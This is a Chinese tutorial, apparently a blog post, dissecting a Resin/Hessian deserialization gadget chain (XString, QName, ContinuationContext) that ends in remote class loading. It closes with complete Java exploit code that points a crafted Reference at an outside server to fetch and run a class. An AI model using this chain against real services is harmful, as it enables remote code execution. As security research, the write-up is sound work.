目录
前言
原理分析
XString:触发恶意类toString
QName的设计理念?
远程恶意类加载Context:ContinuationContext
QName:恶意toString利用
hash相等构造
EXP
前言
精神状态有点糟糕,随便学一下吧
首先明确一个朴素的认知:当Hessian反序列化Map
类型的对象的时候,会自动调用其put
方法,而put方法又会牵引出各种相关利用链打法。
对于HashMap,可以利用key.equals(k),当此处的key为XString时,就可以调用参数k的toString方法,从而进行恶意利用,这里在打Rome的HotSwappableTargetSource链时也有过涉及:
【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客
而这里传入equals的参数QName的toString方法的利用点是context属性的远程类加载。
关于远程类加载,C3P0打URLClassLoader和本条链十分相像,感兴趣的师傅可以看一下:
【Web】浅聊Java反序列化之C3P0——URLClassLoader利用
原理分析
XString:触发恶意类toString
当XString#equals参数为Object时,方法逻辑如下
public boolean equals(Object obj2){if (null == obj2)return false;// In order to handle the 'all' semantics of// nodeset comparisons, we always call the// nodeset function.else if (obj2 instanceof XNodeSet)return obj2.equals(this);else if(obj2 instanceof XNumber)return obj2.equals(this);elsereturn str().equals(obj2.toString());}
最后的意思是如果非空obj2既不是XNodeSet,也不是XNumber的实例,那么将当前对象转换为字符串形式,再与obj2的字符串形式进行比较,从而调用传入的obj2#toString
当obj2为精心构造的QName时,也就有了下面的故事
QName的设计理念?
在Rome里我们有toStringBean来进行恶意toString利用,在Resin里,我们可以利用QName的恶意toString
在具体聊QName#toString前,我们先得对啥是QName有个朴素的认知
QName类的描述,直接来了波大的,其表示一个解析后的 JNDI 名称
先从QName的构造函数开始看吧
public QName(Context context, String first, String rest) {this._context = context;if (first != null) {this._items.add(first);}if (rest != null) {this._items.add(rest);}}
根据构造函数可以推测,QName对象的功能是用于表示一个JNDI限定名(qualified name),通过传入的Context对象以及两个字符串参数(first和rest),QName对象可以将这些信息组合起来形成一个完整的限定名。
Context为何?
看一下Context接口的描述
该接口表示一个命名上下文,包含一组名称到对象的绑定,它包含用于检查和更新这些绑定的方法 ,其实就是JNDI的相关操作。
OKOK点到为止
远程恶意类加载Context:ContinuationContext
其构造方法接受一个CannotProceedException和Hashtable
CannotProceedException是javax.naming异常体系中的一种异常,通常在本地加载类失败时使用。它的作用是对无法继续进行操作的异常情况进行处理。
而处理的关键则在Reference
我们要通过对cpe的精心构造来触发后续利用
构造如下:
String refAddr = "http://124.222.136.33:1337/";String refClassName = "calc";Reference ref = new Reference(refClassName, refClassName, refAddr);Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();String classname = "javax.naming.NamingException";setFiled(classname, cannotProceedException, "resolvedObj", ref);
至于为什么这样构造,现在可能看不懂,但其实结合后面的分析就十分显然了,不作赘述
先对照Reference构造方法看一看
再扔出两条调用链,细品
cpe.getResolvedObj()——>refInfo——>ref——>ref.getFactoryClassName()——>f——>factoryName
cpe.getResolvedObj()——>refInfo——>ref.getFactoryClassLocation()——>codebase
QName:恶意toString利用
再看QName#toString
通过一个for循环遍历当前对象所包含的元素,对集合中的每个元素进行处理。在循环中,获取当前元素的字符串表示并赋值给str。然后进入一个条件判断:
- 如果name不为null,则调用上下文(this._context)的composeName方法,传入str和name作为参数,得到的结果赋值给name。
- 如果composeName方法抛出命名异常(NamingException),则捕获异常,在name后面拼接"/"和当前元素的字符串表示str。
- 如果name为null,直接将当前元素的字符串表示赋值给name。
我们这里令_context为ContinuationContext
跟进ContinuationContext#composeName(请忽略下面的ctx.composeName,它不在我们利用链中,这条链的核心就是ctx的远程加载类)
跟进ContinuationContext#getTargetContext
为了进到NamingManager.getContext我们需要满足下面两个条件
contCtx == null,在构造中本身就不设置,所以不需要考虑
cpe.getResolvedObj()返回不为null(其实返回的就是我们上面给CannotProceedException构造的恶意Reference),同时在关键点参数中也会用到,因此这里需要构造,不会为null
跟进NamingManager.getContext
顾名思义,猜测其就是对恶意Reference进行一个实例化
机翻一下描述:“为指定的对象和环境创建一个对象实例。 如果安装了对象工厂构建器,则会使用它来创建用于创建对象的工厂。否则,将使用以下规则来创建对象: 如果 refInfo 是包含工厂类名称的 Reference 或 Referenceable,请使用命名工厂来创建对象。如果无法创建工厂,请返回 refInfo”
public static ObjectgetObjectInstance(Object refInfo, Name name, Context nameCtx,Hashtable<?,?> environment)throws Exception
{// Use reference if possibleReference ref = null;if (refInfo instanceof Reference) {ref = (Reference) refInfo;} else if (refInfo instanceof Referenceable) {ref = ((Referenceable)(refInfo)).getReference();}Object answer;if (ref != null) {String f = ref.getFactoryClassName();if (f != null) {// if reference identifies a factory, use exclusively// 关键点factory = getObjectFactoryFromReference(ref, f);// ....}// ...
}
其实就是需要远程加载恶意类(对象工厂),根据代码,需要让refInfo为Reference实例,同时ref.getFactoryClassName()不为空,至于设置成什么,继续观察后面方法,来到getObjectFactoryFromReference方法
首先试图通过当前上下文类加载器加载,这里的上下文类加载器是通过Thread.currentThread().getContextClassLoader();或ClassLoader.getSystemClassLoader();获取的,显然会找不到我们指定的类,再从Reference获取codebase(CannotProceedException的作用也就在这体现了,开发者的巧思)
接下来去codebase加载calc类
stepinto,发现就是用URLClassLoader来加载远程类
跟进loadClass
最后返回值,回到NamingManager#getObjectFactoryFromReference,完成类的实例化
hash相等构造
HashMap#put中有着下述逻辑
调用key.equals(k),需要满足以下条件:①p.hash==hash,②p.key!=key,③key!=null
后两者是好解决的,主要问题在hash相等构造上
关注XString的hashCode方法
跟进str()
即将m_obj属性转换成字符串类型返回,最后调用String的hashCode方法进行hash计算,这里的m_obj即是实例化XString传入的参数
我们只要让m_obj的hash值等于QName的hash值就可
现在的关键点在于根据String类的hashCode逻辑,得到该方法的逆操作,即根据hash值得到对应的string,然后将其作为m_obj
详细的逆操作算法我没太搞明白,就先当工具用吧(
public static String unhash ( int hash ) {int target = hash;StringBuilder answer = new StringBuilder();if ( target < 0 ) {// String with hash of Integer.MIN_VALUE, 0x80000000answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");if ( target == Integer.MIN_VALUE )return answer.toString();// Find target without sign bit settarget = target & Integer.MAX_VALUE;}unhash0(answer, target);return answer.toString();}private static void unhash0 ( StringBuilder partial, int target ) {int div = target / 31;int rem = target % 31;if ( div <= Character.MAX_VALUE ) {if ( div != 0 )partial.append((char) div);partial.append((char) rem);}else {unhash0(partial, div);partial.append((char) rem);}}
hash相等构造利用
QName qName = new QName(continuationContext, "foo", "bar");String str = unhash(qName.hashCode());
EXP
pom依赖
<dependencies><dependency><groupId>com.caucho</groupId><artifactId>resin</artifactId><version>4.0.63</version></dependency><dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency></dependencies>
召唤计算器的神奇咒语
package com.Resin;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;public class Resin {public static void main(String[] args) throws Exception {String refAddr = "http://124.222.136.33:1337/";String refClassName = "calc";Reference ref = new Reference(refClassName, refClassName, refAddr);Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();String classname = "javax.naming.NamingException";setFiled(classname, cannotProceedException, "resolvedObj", ref);// 创建ContinuationContext对象Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext");Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);// 构造方法为protected修饰constructor.setAccessible(true);Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable<>());// 创建QNameQName qName = new QName(continuationContext, "foo", "bar");String str = unhash(qName.hashCode());// 创建XtringXString xString = new XString(str);// 创建HashMapHashMap hashMap = new HashMap();hashMap.put(qName, "111");hashMap.put(xString, "222");// 序列化FileOutputStream fileOutputStream = new FileOutputStream("ResinHessian.bin");Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);SerializerFactory serializerFactory = new SerializerFactory();serializerFactory.setAllowNonSerializable(true);hessian2Output.setSerializerFactory(serializerFactory);hessian2Output.writeObject(hashMap);hessian2Output.close();// 反序列化FileInputStream fileInputStream = new FileInputStream("ResinHessian.bin");Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);HashMap o = (HashMap) hessian2Input.readObject();}public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {Class<?> aClass = Class.forName(classname);Field field = aClass.getDeclaredField(fieldname);field.setAccessible(true);field.set(o, value);}public static String unhash ( int hash ) {int target = hash;StringBuilder answer = new StringBuilder();if ( target < 0 ) {// String with hash of Integer.MIN_VALUE, 0x80000000answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");if ( target == Integer.MIN_VALUE )return answer.toString();// Find target without sign bit settarget = target & Integer.MAX_VALUE;}unhash0(answer, target);return answer.toString();}private static void unhash0 ( StringBuilder partial, int target ) {int div = target / 31;int rem = target % 31;if ( div <= Character.MAX_VALUE ) {if ( div != 0 )partial.append((char) div);partial.append((char) rem);}else {unhash0(partial, div);partial.append((char) rem);}}
}